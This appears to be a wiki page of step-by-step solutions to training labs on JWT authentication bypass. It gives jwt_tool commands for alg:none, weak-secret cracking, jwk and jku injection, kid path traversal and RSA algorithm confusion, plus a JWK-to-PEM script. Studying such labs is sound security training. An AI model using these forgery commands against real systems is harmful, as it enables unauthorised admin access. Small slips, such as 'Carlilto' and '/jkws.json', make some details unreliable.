Skip to content
Alnoman Kamil edited this page Oct 19, 2024 · 65 revisions

Apprentice lab:
JWT authentication bypass via unverified signature

This lab uses a JWT-based mechanism for handling sessions. Due to implementation flaws, the server doesn't verify the signature of any JWTs that it receives.
To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the requests the cookie is a JWT token.
    3. Try accessing /admin, export (x4) the request.
    4. Run jwt_tool.
      jwt_tool.py -r request.txt
      Observe the decoded token values.
    5. Run the following.
      jwt_tool.py -r request.txt -I -pc sub -pv administrator -v
    6. Go back to mitmproxy, observer the request that was sent using jwt_tool. Copy the cookie value and paste it to browser.
    7. Access /admin panel and delete Carlilto.

Apprentice lab:
JWT authentication bypass via flawed signature verification

This lab uses a JWT-based mechanism for handling sessions. The server is insecurely configured to accept unsigned JWTs.
To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the requests the cookie is a JWT token.
    3. Try accessing /admin, export (x4) the request.
    4. Run jwt_tool.
      jwt_tool.py -r request.txt
      Observe the decoded token values.
    5. Run the following.
      jwt_tool.py -r request.txt -I -pc sub -pv administrator -v -X a
      alg:none exploit option was chosen.
    6. Go back to mitmproxy, observer the request that was sent using jwt_tool. Copy the cookie value and paste it to browser.
    7. Access /admin panel and delete Carlilto.

Practitioner lab:
JWT authentication bypass via weak signing key

This lab uses a JWT-based mechanism for handling sessions. It uses an extremely weak secret key to both sign and verify tokens. This can be easily brute-forced using a wordlist of common secrets.
To solve the lab, first brute-force the website's secret key. Once you've obtained this, use it to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the requests the cookie is a JWT token.
    3. Try accessing /admin, export (x4) the request.
    4. Run jwt_tool.
      jwt_tool.py -r request.txt
      Observe the decoded token values.
    5. Since there is no signature we have to make one and use a dictionary to crack it.
      jwt_tool.py -r request.txt -C -d jwt.secrets.list
    6. Once the correct key is found use it to make a request.
      jwt_tool.py -r request.txt -S hs256 -p "secret1" -I -pc sub -pv administrator -v
    7. Go back to mitmproxy, observer the request that was sent using jwt_tool. Copy the cookie value and paste it to browser.
    8. Access /admin panel and delete Carlilto.

Practitioner lab:
JWT authentication bypass via jwk header injection

This lab uses a JWT-based mechanism for handling sessions. The server supports the jwk parameter in the JWT header. This is sometimes used to embed the correct verification key directly in the token. However, it fails to check whether the provided key came from a trusted source.
To solve the lab, modify and sign a JWT that gives you access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the requests the cookie is a JWT token.
    3. Try accessing /admin, export (x4) the request.
    4. Run jwt_tool.
      jwt_tool.py -r request.txt
      Observe the decoded token values.
    5. After some futile attempts one should examine the JWT closer at jwt.io.
    6. Change sub and kid to proper values.
      jwt_tool.py -r request.txt -I -pc sub -pv administrator -hc kid -hv jwt_tool -v -X i
    7. Go back to mitmproxy, observer the request that was sent using jwt_tool. Copy the cookie value and paste it to browser.
    8. Access /admin panel and delete Carlilto.

Practitioner lab:
JWT authentication bypass via jku header injection

This lab uses a JWT-based mechanism for handling sessions. The server supports the jku parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key.
To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the requests the cookie is a JWT token.
    3. Try accessing /admin, export (x4) the request.
    4. Run jwt_tool.
      jwt_tool.py -r request.txt
      Observe the decoded token values.
    5. Run
      jwt_tool.py -r request.txt -I -pc sub -pv administrator -X s -ju 'https://exploit-uuid.exploit-server.net/jwk.json' -v -hc kid -hv 'jwt_tool'
    6. Go to exploit server and paste the JWKS to the exploit server. Also change the Content-Type from text/html to application/json.
    7. Run the last command again and go delete carlos.

Practitioner lab:
JWT authentication bypass via kid header path traversal

This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem.
To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the requests the cookie is a JWT token.
    3. Try accessing /admin, export (x4) the request.
    4. Run jwt_tool.
      jwt_tool.py -r request.txt
      Observe the decoded token values.
    5. After some futile attempts one should examine the JWT closer at jwt.io.
    6. Change sub and kid to proper values.
      jwt_tool.py -r request.txt -I -hc kid -hv '../../../dev/null' -pc sub -pv administrator -S hs256 -v
    7. Go back to mitmproxy, observer the request that was sent using jwt_tool. Copy the cookie value and paste it to browser.
    8. Access /admin panel and delete Carlilto.

Expert lab:
JWT authentication bypass via algorithm confusion

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.
To solve the lab, first obtain the server's public key. This is exposed via a standard endpoint. Use this key to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter.
    2. Notice in the requests the cookie is a JWT token.
    3. Try accessing /admin, export (x4) the request.
    4. Run jwt_tool.
      jwt_tool.py -r request.txt
      Observe the decoded token values.
    5. Check, endpoint /jkws.json exist. It can be found, through discovery.
    6. Copy the key into this python script
      import json
      from base64 import urlsafe_b64decode
      from cryptography.hazmat.primitives.asymmetric import rsa
      from cryptography.hazmat.primitives import serialization
      
      # The (example) JWK as a Python dictionary
      jwk = {
          "kty": "RSA",
          "e": "AQAB",
          "use": "sig",
          "kid": "ef2c48bd-a5b6-44ad-8b60-d2bb9122c63b",
          "alg": "RS256",
          "n": "qxloGb-h6NW7L_LYobar3OgQPf1-VjC2Bt-CdErDLKH5Jo0pJLtVfrwBRNzIdeRb7nnPatb4j0fOxmEept-CV6ihajcoRXNNabwSX7HkGAgTNFYebjnEzkv8Cr3lJVneVQTE5AYI85wo4q8ySjFeA-E0I3rE5gdPLzdra__TnMSgmEbwt3Ib3eFmR-bBSlKq3dGny-KC1vvrNykjloPBTMGv5O5AORJGaplRdV-ojpzMZGvYN-no1LN4cx4mj8kzXOvMcwhpM1XEqLnkRxfjCAVuiZmDNVcBqafrlQf4iEYY0LapR3aTMNzNH_0Vd-huIrXl_5kih4vS4xXhS60gZQ"
      }
      
      # Decode the modulus and exponent
      n = int.from_bytes(urlsafe_b64decode(jwk['n'] + '=='), byteorder='big')
      e = int.from_bytes(urlsafe_b64decode(jwk['e'] + '=='), byteorder='big')
      
      # Create the public key
      public_key = rsa.RSAPublicNumbers(e, n).public_key()
      
      # Serialize the public key to PEM format
      pem = public_key.public_bytes(
          encoding=serialization.Encoding.PEM,
          format=serialization.PublicFormat.SubjectPublicKeyInfo
      )
      
      # Write the PEM to a file
      with open('public.pem', 'wb') as f:
          f.write(pem)
      
      print("Public key has been saved to 'public.pem'")
          ```
    7. Run jwt_tool
      jwt_tool.py -r request.txt -I -pc sub -pv administrator -X k -pk public.pem -v
    8. Go back to mitmproxy, observer the request that was sent using jwt_tool. Copy the cookie value and paste it to browser.
    9. Access /admin panel and delete Carlilto.

Expert lab:
JWT authentication bypass via algorithm confusion with no exposed key

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.
To solve the lab, first obtain the server's public key. Use this key to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter

  • Solution

    1. Log in as wiener:peter, copy JWT and log out. Repeat.
    2. Run
      docker run --rm -it portswigger/sig2n <token1> <token2>
    3. Try out keys, when correct one is found, run:
      echo -n 'token' | base64 -d > public.pem
    4. Finally try an RSA Key Confusion Exploit
      jwt_tool.py -r request.txt -I -pc sub -pv administrator -X k -pk public.pem -v
Clone this wiki locally